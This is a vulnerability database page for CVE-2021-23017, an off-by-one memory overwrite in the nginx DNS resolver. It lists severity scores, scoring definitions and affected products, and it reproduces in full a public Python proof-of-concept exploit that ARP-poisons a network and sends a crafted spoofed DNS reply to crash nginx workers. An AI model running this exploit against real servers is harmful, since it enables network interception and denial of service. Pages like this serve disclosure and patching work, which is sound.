CVE-2021-23017 : Detail

CVE-2021-23017

7.7
/
High
41.55%V3
Network
2021-06-01
10h28 +00:00
2024-08-03
18h58 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A security issue in nginx resolver was identified, which might allow an attacker who is able to forge UDP packets from the DNS server to cause 1-byte memory overwrite, resulting in worker process crash or potential other impact.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-193 Off-by-one Error
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.7 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 50973

Publication date : 2022-07-10 22h00 +00:00
Author : Mohammed Alshehri
EDB Verified : No

# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS) # Date: 2022-6-29 # Exploit Author: Mohammed Alshehri - https://Github.com/M507 # Vendor Homepage: https://nginx.org/ # Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0 # Version: 0.6.18 - 1.20.0 # Tested on: Ubuntu 18.04.4 LTS bionic # CVE: CVE-2021-23017 # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn # python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1 # The service needs to be configured to use Nginx resolver from scapy.all import * from multiprocessing import Process from binascii import hexlify, unhexlify import argparse, time, os def device_setup(): os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward") os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP") def ARPP(target, dns_server): print("[*] Sending poisoned ARP packets") target_mac = getmacbyip(target) dns_server_mac = getmacbyip(dns_server) while True: time.sleep(2) send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0) send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0) def exploit(target): print("[*] Listening ") sniff (filter="udp and port 53 and host " + target, prn = process_received_packet) """ RFC schema 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LENGTH | ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ANCOUNT | NSCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ARCOUNT | QD | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AN | NS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AR | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. DNS """ def process_received_packet(received_packet): if received_packet[IP].src == target_ip: if received_packet.haslayer(DNS): if DNSQR in received_packet: print("[*] the received packet: " + str(bytes_hex(received_packet))) print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build()))) try: # \/ the received DNS request dns_request = received_packet[DNS].build() null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12) print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index]))) print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:]))) payload = [ dns_request[0:2], b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00", dns_request[12:null_pointer_index+1], dns_request[null_pointer_index+1:null_pointer_index+3], dns_request[null_pointer_index+3:null_pointer_index+5], b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10", b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04" ] payload = b"".join(payload) spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\ UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\ payload) print("[+] dns answer: "+str(hexlify(payload))) print("[+] full packet: " + str(bytes_hex(spoofed_pkt))) sendp(spoofed_pkt, count=1) print("\n[+] malicious answer was sent") print("[+] exploited\n") except: print("\n[-] ERROR") def main(): global target_ip parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="IP address of the target") parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target") args = parser.parse_args() target_ip = args.target dns_server_ip = args.dns_server device_setup() processes_list = [] ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip)) exploitProcess = Process(target=exploit,args=(target_ip,)) processes_list.append(ARPPProcess) processes_list.append(exploitProcess) for process in processes_list: process.start() for process in processes_list: process.join() if __name__ == '__main__': target_ip = "" main()

Products Mentioned

Configuraton 0

F5>>Nginx >> Version From (including) 0.6.18 To (excluding) 1.20.1

Configuraton 0

Openresty>>Openresty >> Version To (excluding) 1.19.3.2

Configuraton 0

Fedoraproject>>Fedora >> Version 33

Fedoraproject>>Fedora >> Version 34

Configuraton 0

Netapp>>Ontap_select_deploy_administration_utility >> Version -

Configuraton 0

Oracle>>Blockchain_platform >> Version To (excluding) 21.1.2

Oracle>>Communications_control_plane_monitor >> Version 3.4

Oracle>>Communications_control_plane_monitor >> Version 4.2

Oracle>>Communications_control_plane_monitor >> Version 4.3

Oracle>>Communications_control_plane_monitor >> Version 4.4

Oracle>>Communications_fraud_monitor >> Version From (including) 3.4 To (including) 4.4

Oracle>>Communications_operations_monitor >> Version 3.4

Oracle>>Communications_operations_monitor >> Version 4.2

Oracle>>Communications_operations_monitor >> Version 4.3

Oracle>>Communications_operations_monitor >> Version 4.4

Oracle>>Communications_session_border_controller >> Version 8.4

Oracle>>Communications_session_border_controller >> Version 9.0

Oracle>>Enterprise_communications_broker >> Version 3.3.0

Oracle>>Enterprise_session_border_controller >> Version 8.4

Oracle>>Enterprise_session_border_controller >> Version 9.0

Oracle>>Enterprise_telephony_fraud_monitor >> Version 3.4

Oracle>>Enterprise_telephony_fraud_monitor >> Version 4.2

Oracle>>Enterprise_telephony_fraud_monitor >> Version 4.3

Oracle>>Enterprise_telephony_fraud_monitor >> Version 4.4

Oracle>>Goldengate >> Version To (excluding) 21.4.0.0.0

References